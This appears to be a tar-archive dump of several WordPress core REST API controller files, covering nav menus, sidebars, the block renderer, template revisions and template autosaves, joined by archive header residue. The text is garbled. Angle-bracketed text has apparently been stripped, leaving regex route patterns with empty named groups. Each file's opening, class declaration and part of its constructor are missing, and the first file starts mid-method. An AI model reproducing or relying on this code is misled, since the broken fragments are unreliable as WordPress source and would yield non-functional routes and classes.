$term->add_data( $existing_term->term_id, 'menu_exists' ); $term->add_data( array( 'status' => 400, 'term_id' => $existing_term->term_id, ) ); } else { $term->add_data( array( 'status' => 400 ) ); } return $term; } $term = $this->get_term( $term ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $locations_update = $this->handle_locations( $term->term_id, $request ); if ( is_wp_error( $locations_update ) ) { return $locations_update; } $this->handle_auto_add( $term->term_id, $request ); $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'view' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true ); $response = $this->prepare_item_for_response( $term, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) ); return $response; } /** * Updates a single term from a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); // Only update the term if we have something to update. if ( ! empty( $prepared_term ) ) { if ( ! isset( $prepared_term->{'menu-name'} ) ) { // wp_update_nav_menu_object() requires that the menu-name is always passed. $prepared_term->{'menu-name'} = $term->name; } $update = wp_update_nav_menu_object( $term->term_id, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $update ) ) { return $update; } } $term = get_term( $term->term_id, $this->taxonomy ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_insert_{$this->taxonomy}", $term, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $term->term_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $locations_update = $this->handle_locations( $term->term_id, $request ); if ( is_wp_error( $locations_update ) ) { return $locations_update; } $this->handle_auto_add( $term->term_id, $request ); $fields_update = $this->update_additional_fields_for_object( $term, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'view' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false ); $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Deletes a single term from a taxonomy. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } // We don't support trashing for terms. if ( ! $request['force'] ) { /* translators: %s: force=true */ return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menus do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $request->set_param( 'context', 'view' ); $previous = $this->prepare_item_for_response( $term, $request ); $result = wp_delete_nav_menu( $term ); if ( ! $result || is_wp_error( $result ) ) { return new WP_Error( 'rest_cannot_delete', __( 'The menu cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */ do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request ); return $response; } /** * Returns the value of a menu's auto_add setting. * * @since 5.9.0 * * @param int $menu_id The menu id to query. * @return bool The value of auto_add. */ protected function get_menu_auto_add( $menu_id ) { $nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) ); return in_array( $menu_id, $nav_menu_option['auto_add'], true ); } /** * Updates the menu's auto add from a REST request. * * @since 5.9.0 * * @param int $menu_id The menu id to update. * @param WP_REST_Request $request Full details about the request. * @return bool True if the auto add setting was successfully updated. */ protected function handle_auto_add( $menu_id, $request ) { if ( ! isset( $request['auto_add'] ) ) { return true; } $nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) ); if ( ! isset( $nav_menu_option['auto_add'] ) ) { $nav_menu_option['auto_add'] = array(); } $auto_add = $request['auto_add']; $i = array_search( $menu_id, $nav_menu_option['auto_add'], true ); if ( $auto_add && false === $i ) { $nav_menu_option['auto_add'][] = $menu_id; } elseif ( ! $auto_add && false !== $i ) { array_splice( $nav_menu_option['auto_add'], $i, 1 ); } $update = update_option( 'nav_menu_options', $nav_menu_option ); /** This action is documented in wp-includes/nav-menu.php */ do_action( 'wp_update_nav_menu', $menu_id, array() ); return $update; } /** * Returns the names of the locations assigned to the menu. * * @since 5.9.0 * * @param int $menu_id The menu id. * @return string[] The locations assigned to the menu. */ protected function get_menu_locations( $menu_id ) { $locations = get_nav_menu_locations(); $menu_locations = array(); foreach ( $locations as $location => $assigned_menu_id ) { if ( $menu_id === $assigned_menu_id ) { $menu_locations[] = $location; } } return $menu_locations; } /** * Updates the menu's locations from a REST request. * * @since 5.9.0 * * @param int $menu_id The menu id to update. * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True on success, a WP_Error on an error updating any of the locations. */ protected function handle_locations( $menu_id, $request ) { if ( ! isset( $request['locations'] ) ) { return true; } $menu_locations = get_registered_nav_menus(); $menu_locations = array_keys( $menu_locations ); $new_locations = array(); foreach ( $request['locations'] as $location ) { if ( ! in_array( $location, $menu_locations, true ) ) { return new WP_Error( 'rest_invalid_menu_location', __( 'Invalid menu location.' ), array( 'status' => 400, 'location' => $location, ) ); } $new_locations[ $location ] = $menu_id; } $assigned_menu = get_nav_menu_locations(); foreach ( $assigned_menu as $location => $term_id ) { if ( $term_id === $menu_id ) { unset( $assigned_menu[ $location ] ); } } $new_assignments = array_merge( $assigned_menu, $new_locations ); set_theme_mod( 'nav_menu_locations', $new_assignments ); return true; } /** * Retrieves the term's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); unset( $schema['properties']['count'], $schema['properties']['link'], $schema['properties']['taxonomy'] ); $schema['properties']['locations'] = array( 'description' => __( 'The locations assigned to the menu.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => static function ( $locations, $request, $param ) { $valid = rest_validate_request_arg( $locations, $request, $param ); if ( true !== $valid ) { return $valid; } $locations = rest_sanitize_request_arg( $locations, $request, $param ); foreach ( $locations as $location ) { if ( ! array_key_exists( $location, get_registered_nav_menus() ) ) { return new WP_Error( 'rest_invalid_menu_location', __( 'Invalid menu location.' ), array( 'location' => $location, ) ); } } return true; }, ), ); $schema['properties']['auto_add'] = array( 'description' => __( 'Whether to automatically add top level pages to this menu.' ), 'context' => array( 'view', 'edit' ), 'type' => 'boolean', ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-sidebars-controller.php000064400000037035152506367270013761 0ustar00namespace = 'wp/v2'; $this->rest_base = 'sidebars'; } /** * Registers the controllers routes. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'The id of a registered sidebar' ), 'type' => 'string', ), 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get sidebars. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $this->retrieve_widgets(); foreach ( wp_get_sidebars_widgets() as $id => $widgets ) { $sidebar = $this->get_sidebar( $id ); if ( ! $sidebar ) { continue; } if ( $this->check_read_permission( $sidebar ) ) { return true; } } return $this->do_permissions_check(); } /** * Retrieves the list of sidebars (active or inactive). * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $this->retrieve_widgets(); $data = array(); $permissions_check = $this->do_permissions_check(); foreach ( wp_get_sidebars_widgets() as $id => $widgets ) { $sidebar = $this->get_sidebar( $id ); if ( ! $sidebar ) { continue; } if ( is_wp_error( $permissions_check ) && ! $this->check_read_permission( $sidebar ) ) { continue; } $data[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $sidebar, $request ) ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to get a single sidebar. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $this->retrieve_widgets(); $sidebar = $this->get_sidebar( $request['id'] ); if ( $sidebar && $this->check_read_permission( $sidebar ) ) { return true; } return $this->do_permissions_check(); } /** * Checks if a sidebar can be read publicly. * * @since 5.9.0 * * @param array $sidebar The registered sidebar configuration. * @return bool Whether the side can be read. */ protected function check_read_permission( $sidebar ) { return ! empty( $sidebar['show_in_rest'] ); } /** * Retrieves one sidebar from the collection. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $this->retrieve_widgets(); $sidebar = $this->get_sidebar( $request['id'] ); if ( ! $sidebar ) { return new WP_Error( 'rest_sidebar_not_found', __( 'No sidebar exists with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( $sidebar, $request ); } /** * Checks if a given request has access to update sidebars. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->do_permissions_check(); } /** * Updates a sidebar. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { if ( isset( $request['widgets'] ) ) { $sidebars = wp_get_sidebars_widgets(); foreach ( $sidebars as $sidebar_id => $widgets ) { foreach ( $widgets as $i => $widget_id ) { // This automatically removes the passed widget IDs from any other sidebars in use. if ( $sidebar_id !== $request['id'] && in_array( $widget_id, $request['widgets'], true ) ) { unset( $sidebars[ $sidebar_id ][ $i ] ); } // This automatically removes omitted widget IDs to the inactive sidebar. if ( $sidebar_id === $request['id'] && ! in_array( $widget_id, $request['widgets'], true ) ) { $sidebars['wp_inactive_widgets'][] = $widget_id; } } } $sidebars[ $request['id'] ] = $request['widgets']; wp_set_sidebars_widgets( $sidebars ); } $request['context'] = 'edit'; $sidebar = $this->get_sidebar( $request['id'] ); /** * Fires after a sidebar is updated via the REST API. * * @since 5.8.0 * * @param array $sidebar The updated sidebar. * @param WP_REST_Request $request Request object. */ do_action( 'rest_save_sidebar', $sidebar, $request ); return $this->prepare_item_for_response( $sidebar, $request ); } /** * Checks if the user has permissions to make the request. * * @since 5.8.0 * * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ protected function do_permissions_check() { /* * Verify if the current user has edit_theme_options capability. * This capability is required to access the widgets screen. */ if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves the registered sidebar with the given id. * * @since 5.8.0 * * @param string|int $id ID of the sidebar. * @return array|null The discovered sidebar, or null if it is not registered. */ protected function get_sidebar( $id ) { return wp_get_sidebar( $id ); } /** * Looks for "lost" widgets once per request. * * @since 5.9.0 * * @see retrieve_widgets() */ protected function retrieve_widgets() { if ( ! $this->widgets_retrieved ) { retrieve_widgets(); $this->widgets_retrieved = true; } } /** * Prepares a single sidebar output for response. * * @since 5.8.0 * @since 5.9.0 Renamed `$raw_sidebar` to `$item` to match parent class for PHP 8 named parameter support. * * @global array $wp_registered_sidebars The registered sidebars. * @global array $wp_registered_widgets The registered widgets. * * @param array $item Sidebar instance. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Prepared response object. */ public function prepare_item_for_response( $item, $request ) { global $wp_registered_sidebars, $wp_registered_widgets; // Restores the more descriptive, specific name for use within this method. $raw_sidebar = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php */ return apply_filters( 'rest_prepare_sidebar', new WP_REST_Response( array() ), $raw_sidebar, $request ); } $id = $raw_sidebar['id']; $sidebar = array( 'id' => $id ); if ( isset( $wp_registered_sidebars[ $id ] ) ) { $registered_sidebar = $wp_registered_sidebars[ $id ]; $sidebar['status'] = 'active'; $sidebar['name'] = $registered_sidebar['name'] ?? ''; $sidebar['description'] = isset( $registered_sidebar['description'] ) ? wp_sidebar_description( $id ) : ''; $sidebar['class'] = $registered_sidebar['class'] ?? ''; $sidebar['before_widget'] = $registered_sidebar['before_widget'] ?? ''; $sidebar['after_widget'] = $registered_sidebar['after_widget'] ?? ''; $sidebar['before_title'] = $registered_sidebar['before_title'] ?? ''; $sidebar['after_title'] = $registered_sidebar['after_title'] ?? ''; } else { $sidebar['status'] = 'inactive'; $sidebar['name'] = $raw_sidebar['name']; $sidebar['description'] = ''; $sidebar['class'] = ''; } if ( wp_is_block_theme() ) { $sidebar['status'] = 'inactive'; } $fields = $this->get_fields_for_response( $request ); if ( rest_is_field_included( 'widgets', $fields ) ) { $sidebars = wp_get_sidebars_widgets(); $widgets = array_filter( $sidebars[ $sidebar['id'] ] ?? array(), static function ( $widget_id ) use ( $wp_registered_widgets ) { return isset( $wp_registered_widgets[ $widget_id ] ); } ); $sidebar['widgets'] = array_values( $widgets ); } $schema = $this->get_item_schema(); $data = array(); foreach ( $schema['properties'] as $property_id => $property ) { if ( isset( $sidebar[ $property_id ] ) && true === rest_validate_value_from_schema( $sidebar[ $property_id ], $property ) ) { $data[ $property_id ] = $sidebar[ $property_id ]; } elseif ( isset( $property['default'] ) ) { $data[ $property_id ] = $property['default']; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $sidebar ) ); } /** * Filters the REST API response for a sidebar. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param array $raw_sidebar The raw sidebar data. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_sidebar', $response, $raw_sidebar, $request ); } /** * Prepares links for the sidebar. * * @since 5.8.0 * * @param array $sidebar Sidebar. * @return array Links for the given widget. */ protected function prepare_links( $sidebar ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $sidebar['id'] ) ), ), 'https://api.w.org/widget' => array( 'href' => add_query_arg( 'sidebar', $sidebar['id'], rest_url( '/wp/v2/widgets' ) ), 'embeddable' => true, ), ); } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'sidebar', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Unique name identifying the sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of sidebar.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'class' => array( 'description' => __( 'Extra CSS class to assign to the sidebar in the Widgets interface.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'before_widget' => array( 'description' => __( 'HTML content to prepend to each widget\'s HTML output when assigned to this sidebar. Default is an opening list item element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'after_widget' => array( 'description' => __( 'HTML content to append to each widget\'s HTML output when assigned to this sidebar. Default is a closing list item element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'before_title' => array( 'description' => __( 'HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'after_title' => array( 'description' => __( 'HTML content to append to the sidebar title when displayed. Default is a closing h2 element.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'status' => array( 'description' => __( 'Status of sidebar.' ), 'type' => 'string', 'enum' => array( 'active', 'inactive' ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'widgets' => array( 'description' => __( 'Nested widgets.' ), 'type' => 'array', 'items' => array( 'type' => array( 'object', 'string' ), ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-block-renderer-controller.php000064400000013350152506367270015055 0ustar00namespace = 'wp/v2'; $this->rest_base = 'block-renderer'; } /** * Registers the necessary REST API routes, one for each dynamic block. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9-]+/[a-z0-9-]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Unique registered name for the block.' ), 'type' => 'string', ), ), array( 'methods' => array( WP_REST_Server::READABLE, WP_REST_Server::CREATABLE ), 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'attributes' => array( 'description' => __( 'Attributes for the block.' ), 'type' => 'object', 'default' => array(), 'validate_callback' => static function ( $value, $request ) { $block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] ); if ( ! $block ) { // This will get rejected in ::get_item(). return true; } $schema = array( 'type' => 'object', 'properties' => $block->get_attributes(), 'additionalProperties' => false, ); return rest_validate_value_from_schema( $value, $schema ); }, 'sanitize_callback' => static function ( $value, $request ) { $block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] ); if ( ! $block ) { // This will get rejected in ::get_item(). return true; } $schema = array( 'type' => 'object', 'properties' => $block->get_attributes(), 'additionalProperties' => false, ); return rest_sanitize_value_from_schema( $value, $schema ); }, ), 'post_id' => array( 'description' => __( 'ID of the post context.' ), 'type' => 'integer', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read blocks. * * @since 5.0.0 * * @global WP_Post $post Global post object. * * @param WP_REST_Request $request Request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { global $post; $post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0; if ( $post_id > 0 ) { $post = get_post( $post_id ); if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) { return new WP_Error( 'block_cannot_read', __( 'Sorry, you are not allowed to read blocks of this post.' ), array( 'status' => rest_authorization_required_code(), ) ); } } else { if ( ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'block_cannot_read', __( 'Sorry, you are not allowed to read blocks as this user.' ), array( 'status' => rest_authorization_required_code(), ) ); } } return true; } /** * Returns block output from block's registered render_callback. * * @since 5.0.0 * * @global WP_Post $post Global post object. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { global $post; $post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0; if ( $post_id > 0 ) { $post = get_post( $post_id ); // Set up postdata since this will be needed if post_id was set. setup_postdata( $post ); } $registry = WP_Block_Type_Registry::get_instance(); $registered = $registry->get_registered( $request['name'] ); if ( null === $registered || ! $registered->is_dynamic() ) { return new WP_Error( 'block_invalid', __( 'Invalid block.' ), array( 'status' => 404, ) ); } $attributes = $request->get_param( 'attributes' ); // Create an array representation simulating the output of parse_blocks. $block = array( 'blockName' => $request['name'], 'attrs' => $attributes, 'innerBlocks' => array(), 'innerHTML' => '', 'innerContent' => array(), ); // Render using render_block to ensure all relevant filters are used. $data = array( 'rendered' => render_block( $block ), ); return rest_ensure_response( $data ); } /** * Retrieves block's output schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->schema; } $this->schema = array( '$schema' => 'http://json-schema.org/schema#', 'title' => 'rendered-block', 'type' => 'object', 'properties' => array( 'rendered' => array( 'description' => __( 'The rendered block.' ), 'type' => 'string', 'required' => true, 'context' => array( 'edit' ), ), ), ); return $this->schema; } } class-wp-rest-template-revisions-controller.php000064400000021024152506367270016006 0ustar00parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Templates_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->rest_base = 'revisions'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the routes for revisions based on post types supporting revisions. * * @since 6.4.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base, '(?P[\d]+)' ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as revisions do not support trashing.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Gets the parent post, if the template ID is valid. * * @since 6.4.0 * * @param string $parent_template_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_template_id ) { $template = get_block_template( $parent_template_id, $this->parent_post_type ); if ( ! $template ) { return new WP_Error( 'rest_post_invalid_parent', __( 'Invalid template parent ID.' ), array( 'status' => WP_Http::NOT_FOUND ) ); } $parent_post_id = isset( $template->wp_id ) ? (int) $template->wp_id : 0; if ( $parent_post_id <= 0 ) { return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t have revisions.' ), array( 'status' => WP_Http::BAD_REQUEST ) ); } return get_post( $template->wp_id ); } /** * Prepares the item for the REST response. * * @since 6.4.0 * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $template = _build_block_template_result_from_post( $item ); $response = $this->parent_controller->prepare_item_for_response( $template, $request ); // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { return $response; } $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->post_parent; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = new WP_REST_Response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $template ); $response->add_links( $links ); } return $response; } /** * Checks if a given request has access to delete a revision. * * @since 6.4.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'delete_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this revision.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares links for the request. * * @since 6.4.0 * * @param WP_Block_Template $template Template. * @return array Links for the given post. */ protected function prepare_links( $template ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ), ), 'parent' => array( 'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ), ), ); return $links; } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 6.4.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = $this->parent_controller->get_item_schema(); $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-template-autosaves-controller.php000064400000017221152506367270016003 0ustar00parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Templates_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $revisions_controller = $post_type_object->get_revisions_rest_controller(); if ( ! $revisions_controller ) { $revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type ); } $this->revisions_controller = $revisions_controller; $this->rest_base = 'autosaves'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the routes for autosaves. * * @since 6.4.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/(?P%s%s)/%s', $this->parent_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base ), array( 'args' => array( 'id' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 